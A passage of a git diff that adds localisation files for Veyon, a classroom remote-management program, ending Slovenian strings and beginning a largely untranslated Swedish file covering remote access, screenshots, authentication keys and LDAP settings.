prepričani, da želite izklopiti izbrani računalnik? + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + MAC naslov + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + Navedite ukaz za prikaz pomoči! + + + Invalid MAC address specified! + Neveljavni MAC naslov + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + Oddaljeni pogled + + + Open a remote view for a computer without interaction. + Odpri oddaljeni pogled za računalnik brez interakcije. + + + Remote control + Nadzor na daljavo + + + Open a remote control window for a computer. + Odpri okno daljinskega upravljalnika za računalnik. + + + Remote access + Oddaljen dostop + + + Remote view or control a computer + Oddaljeni pogled ali nadzor računalnika + + + Please enter the hostname or IP address of the computer to access: + Vnesite ime gostitelja ali naslov IP računalnika za dostop: + + + Show help about command + Prikaži pomoč o ukazu + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 oddaljen dostop + + + + RemoteAccessWidgetToolBar + + View only + Samo pogled + + + Remote control + Nadzor na daljavo + + + Send shortcut + Pošlji bližnjico + + + Fullscreen + Celozaslonsko + + + Window + Okno + + + Quit + Končaj + + + Ctrl+Alt+Del + Ctrl+Alt+Delete + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Meni + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Povezujem %1 + + + Connected. + Povezan. + + + Screenshot + Zaslonska slika + + + + RoomSelectionDialog + + Room selection + Izbira sobe + + + enter search filter... + vnesi iskalni filter... + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + Prosimo, vnesite programe ali ukaze, ki se izvajajo v izbranih računalnikih. Več programov / ukazov lahko ločite po vrstici. + + + Run programs + Zaženi programe + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + npr. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + Zakleni + + + Unlock + Odkleni + + + Lock screen and input devices of a computer + Zakleni zaslon in vhodne naprave računalnika + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + Če želite povrniti celotno pozornost vseh uporabnikov, lahko z uporabo tega gumba zaklenete njihove računalnike. V tem načinu so vse vhodne naprave zaklenjene in zasloni so črni. + + + + Screenshot + + unknown + neznano + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + Ni mogoče vzeti posnetka zaslona, ker imenik %1 ne obstaja in ga ni mogoče ustvariti. + + + Screenshot + Zaslonska slika + + + + ScreenshotFeaturePlugin + + Screenshot + Zaslonska slika + + + Use this function to take a screenshot of selected computers. + To funkcijo uporabite za posnetek zaslona izbranih računalnikov. + + + Screenshots taken + Vzeti posnetki zaslona + + + Screenshot of %1 computer have been taken successfully. + Posnetek zaslona računalnika %1 uspešno sprejet. + + + Take screenshots of computers and save them locally. + Posnemite zaslone računalnikov in jih shranite lokalno. + + + + ScreenshotManagementView + + User: + Uporabnik: + + + Date: + Datum: + + + Time: + Čas: + + + Show + Prikaži + + + Delete + Briši + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + Vsi posnetke zaslona, ki ste jih naredili, so navedeni tukaj. Lahko snamate posnetke zaslona s klikom na postavko "Posnetek zaslona" v kontekstnem meniju računalnika. S posnetki zaslonov lahko upravljate z uporabo spodnjih gumbov. + + + Computer: + Računalnik: + + + + ServiceConfigurationPage + + General + Splošno + + + Autostart + Samodejni zagon + + + Hide tray icon + Skrij ikono v orodni vrstici + + + Start service + Zaženi storitev + + + Stopped + Ustavljeno + + + Stop service + Ustavi storitev + + + State: + Stanje: + + + Enable SAS generation by software (Ctrl+Alt+Del) + Omogoči generiranje SAS s programsko opremo (Ctrl+Alt+Del) + + + Network + Omrežje + + + Demo server port + Vrata strežnika za predavanja + + + Enable firewall exception + Omogoči izjemo požarnega zidu + + + Allow connections from localhost only + Omogočite povezave samo z lokalnega gostitelja + + + Internal VNC server port + Vrata notranjega strežnika VNC + + + VNC server + VNC strežnik + + + Plugin: + Vtičnik: + + + Restart %1 Service + Ponovno zaženi %1 storitev + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + Vse nastavitve so bile uspešno shranjene. Za uveljavitev je treba storitev %1 ponovno zagnati. Ali znova zaženem zdaj? + + + Running + V teku + + + Feature manager port + Vrata upravitelja funkcij + + + Primary service port + Primarna vrata storitve + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + Če omogočite to možnost, bo storitev zagnala proces strežnika za vsako interaktivno sejo v računalniku. +Običajno je to potrebno za podporo terminalskih strežnikov. + + + Multi session support (experimental) + Podpora za več sej (eksperimentalno) + + + Show notification on remote connection + Prikaži obvestilo o oddaljeni povezavi + + + Show notification on failed authentication attempts + Prikaži obvestilo o neuspešnih poskusih preverjanja pristnosti + + + + ServiceControl + + Starting service %1 + Zagon storitve %1 + + + Stopping service %1 + Zaustavitev storitve %1 + + + Registering service %1 + Registracija storitve %1 + + + Unregistering service %1 + Odregistracija storitve %1 + + + Service control + Nadzor storitve + + + + ServiceControlPlugin + + Service is running + Storitev teče + + + Service is not running + Storitev ne teče + + + Configure and control Veyon service + Konfigurirajte in nadzirajte Veyon storitev + + + Register Veyon Service + Registriraj Veyon storitev + + + Unregister Veyon Service + Odregistriraj Veyon storitev + + + Start Veyon Service + Začni Veyon storitev + + + Stop Veyon Service + Zaustavi Veyon storitev + + + Restart Veyon Service + Ponovno zaženi Veyon storitev + + + Query status of Veyon Service + Stanje poizvedbe storitve Veyon + + + Commands for configuring and controlling Veyon Service + Ukazi za konfiguracijo in nadzor Veyon storitve + + + + ShellCommandLinePlugin + + Run command file + Zaženi ukazno datoteko + + + File "%1" does not exist! + Datoteka "%1" ne obstaja! + + + Interactive shell and script execution for Veyon Control + Interaktivna lupina in izvedba skripte za nadzor Veyon + + + Commands for shell functionalities + Ukazi za funkcionalnosti lupine + + + + SystemTrayIcon + + System tray icon + Ikona sistemske vrstice + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + Uporabniške skupine ozadja za skupine uporabnikov sistema + + + Default (system user groups) + Privzeto (skupine uporabnikov sistema) + + + + TextMessageDialog + + Send text message + Pošlji besedilno sporočilo + + + Use the field below to type your message which will be sent to all selected users. + Uporabite spodnje polje za vpis sporočila, ki ga želite poslati izbranim uporabnikom. + + + + TextMessageFeaturePlugin + + Text message + Sporočilo + + + Use this function to send a text message to all users e.g. to assign them new tasks. + Uporabite to funkcijo za pošiljanje sporočil vsem uporabnikom npr. za dodelitev nalog + + + Message from teacher + Sporočilo predavatelja + + + Send a message to a user + Pošlji sporočilo uporabniku + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Omogoči zajemanje plastnih (delno prosojnih) oken + + + Poll full screen (leave this enabled per default) + Prenašaj polni zaslon (pustite to omogočeno na privzeto) + + + Low accuracy (turbo mode) + Majhna natančnost (turbo način) + + + Builtin UltraVNC server configuration + Vgrajena konfiguracija UltraVNC strežnika + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Ni pravice pisanja + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + Vaših osebnih nastavitev ni bilo mogoče shraniti! Preverite pot do konfiguracijske datoteke uporabnika s konfiguratorjem %1. + + + + UserSessionControl + + User session control + Nadzor seje uporabnika + + + Click this button to logout users from all computers. + Kliknite ta gumb, če želite odjaviti uporabnike iz vseh računalnikov. + + + Confirm user logout + Potrdi odjavo uporabnika + + + Do you really want to logout the selected users? + Ali res želite odjaviti izbrane uporabnike? + + + Logout + Odjava + + + + VeyonCore + + [OK] + [V REDU] + + + [FAIL] + [SPODLETELO] + + + Invalid command! + Neveljaven ukaz! + + + Available commands: + Razpoložljivi ukazi: + + + Invalid arguments given + Neveljavni argumenti so podani + + + Not enough arguments given - use "%1 help" for more information + Ni dovolj argumentov - uporabite "%1 pomoč" za več informacij + + + Unknown result! + Neznan rezultat! + + + Available modules: + Razpoložljivi moduli: + + + No module specified or module not found - available modules are: + Ni določenega modula ali modula ni mogoče najti - razpoložljivi moduli so: + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + Veyon storitev + + + + VncView + + Establishing connection to %1 ... + Vzspostavljam povezavo na %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + Vtičnik izvajanja abstraktnih funkcij za platformo Windows + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + Nadzor storitve Windows: storitev "%1" je že nameščena. + + + WindowsServiceControl: the service "%1" could not be installed. + Nadzor storitve Windows: storitev "%1" še ni nameščena. + + + WindowsServiceControl: the service "%1" has been installed successfully. + Nadzor storitve Windows: storitev "%1" je bila uspešno nameščena. + + + WindowsServiceControl: the service "%1" could not be uninstalled. + Nadzor storitve Windows: storitve "%1" ni bilo mogoče odstraniti. + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + Nadzor storitve Windows: storitev "%1" je bila uspešno odstranjena. + + + WindowsServiceControl: the start type of service "%1" could not be changed. + Nadzor storitve Windows: vrste začetka storitve "%1" ni bilo mogoče spremeniti. + + + WindowsServiceControl: service "%1" could not be found. + Nadzor storitve Windows: storitve "%1" ni bilo mogoče najti. + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + Vgrajena konfiguracija strežnika x11vnc + + + Custom x11vnc parameters: + Parametri x11vnc po meri: + + + Do not use X Damage extension + Ne uporabljajte X škodljive razširitve + + + \ No newline at end of file diff --git a/translations/sv.ts b/translations/sv.ts new file mode 100644 index 0000000..6a2430a --- /dev/null +++ b/translations/sv.ts @@ -0,0 +1,3817 @@ + + + AboutDialog + + About + Om + + + Translation + + + + License + + + + About Veyon + Om Veyon + + + Contributors + Medarbetare + + + Version: + Version: + + + Website: + Hemsida + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Nuvarande språk ej översatt än (eller originalspråk Engelska). + +Om du är intresserad av att översätta Veyon till ditt lokala eller ett ett annat språk, vänligen kontakta en Veyon-utvecklare! + + + About %1 %2 + Om %1 %2 + + + Support Veyon project with a donation + Stöd Veyon-projektet med en donation + + + + AccessControlPage + + Computer access control + Datoråtkomstskontroll + + + Grant access to every authenticated user (default) + Bevilja åtkomst för alla autentiserade användare (standard) + + + Test + Test + + + Restrict access to members of certain user groups + Begränsa åtkomst för medlemmar av vissa grupper + + + Process access control rules + Processåtkomstkontroll-regler + + + User groups authorized for computer access + Användargrupper auktoriserade för datoråtkomst + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Vänligen lägg till grupperna vilkas medlemmar ska vara auktoriserade för att komma åt datorer i ditt Veyon-nätverk. + + + Authorized user groups + Auktoriserade användargrupper + + + All groups + Alla grupper + + + ... + ... + + + Access control rules + Åtkomstregler + + + Add access control rule + Lägg till åtkomstregel + + + Remove access control rule + Ta bort åtkomstregel + + + Move selected rule down + Flytta vald regel nedåt + + + Move selected rule up + Flytta vald regel uppåt + + + Edit selected rule + Redigera vald regel + + + Enter username + Skriv in användarnamn + + + Please enter a user login name whose access permissions to test: + Vänligen skriv in ett användarnamn vars åtkomstbehörigheter ska testas: + + + Access allowed + Åtkomst beviljad + + + The specified user is allowed to access computers with this configuration. + Den specificerade användaren är tillåten att komma åt datorer med den här konfigurationen. + + + Access denied + Åtkomst nekad + + + The specified user is not allowed to access computers with this configuration. + Den specificerade användaren är inte tillåten att komma åt datorer med den här konfigurationen. + + + Enable usage of domain groups + Aktivera användandet av domängrupper + + + User groups backend: + Backend för användargrupper: + + + Missing user groups backend + Saknad backend för användargrupper + + + No default user groups plugin was found. Please check your installation! + Inget standard användargrupp-plugin kunde hittas. Vänligen kontrollera din installation! + + + + AccessControlRuleEditDialog + + Edit access control rule + Redigera åtkomstregel + + + General + Allmänt + + + enter a short name for the rule here + skriv in ett kort namn på regeln här + + + Rule name: + Regelnamn: + + + enter a description for the rule here + skriv in en beskrivning av regeln här + + + Rule description: + Regelbeskrivning: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Invertera alla villkor ("är/har" tolkas som "är/har inte") + + + Conditions + Villkor + + + is member of group + är medlem av gruppen + + + is located in room + är belägen i rum + + + Accessing computer is localhost + Åtkomstdator är localhost + + + Accessing user is logged on user + Åtkomstanvändare är inloggad användare + + + Accessing user is already connected + Åtkomstanvändare är redan ansluten + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Om fler än ett villkor aktiveras behöver varje villkor mötas för att regeln ska gälla (logiskt OCH). Om endast en av flera villkor behöver mötas (logiskt ELLER) vänligen skapa flera åtkomstregler. + + + Action + Åtgärd + + + Allow access + Bevilja åtkomst + + + Deny access + Neka åtkomst + + + Ask logged on user for permission + Fråga inloggad användare om tillstånd + + + None (rule disabled) + Inga (regel inaktiverad) + + + Accessing user + Åtkomstanvändare + + + Accessing computer + Åtkomstdator + + + Local (logged on) user + Lokal (inloggad) användare + + + Local computer + Lokal dator + + + Always process rule and ignore conditions + Bearbeta alltid regel- och ignoreringsvillkor + + + No user logged on + Ingen användare inloggad + + + Accessing computer is located in the same room as local computer + Åktmostdator är belägen i samma rum som den lokala datorn + + + Accessing user has one or more groups in common with local (logged on) user + Åtkomstanvändaren har en eller flera grupper gemensamt med lokal (inloggad) användare + + + + AccessControlRulesTestDialog + + Access control rules test + Åtkomstregel-test + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + + + + Name + + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + Ingen användare inloggad + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Autentiseringsfel + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + Demo i helskärm + + + Stop demo + + + + Window demo + Demo i fönster + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + Aldrig för denna session + + + Always for this session + Alltid för denna session + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Användargränssnitt + + + Language: + + + + Use system language setting + + + + Veyon + + + + Logging + Loggning + + + Log file directory + Loggfilskatalog + + + ... + ... + + + Log level + Loggnivå + + + Nothing + Ingenting + + + Only critical messages + Endast kritiska meddelanden + + + Errors and critical messages + Fel och kritiska meddelanden + + + Warnings and errors + Varningar och fel + + + Information, warnings and errors + Information, varningar och fel + + + Debug messages and everything else + Felsökningsmeddelanden och allting annat + + + Limit log file size + Begränsa storlek på loggfil + + + Clear all log files + Töm alla loggfiler + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + Autentisering + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + Allmänt + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Test + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + Skriv in användarnamn + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer 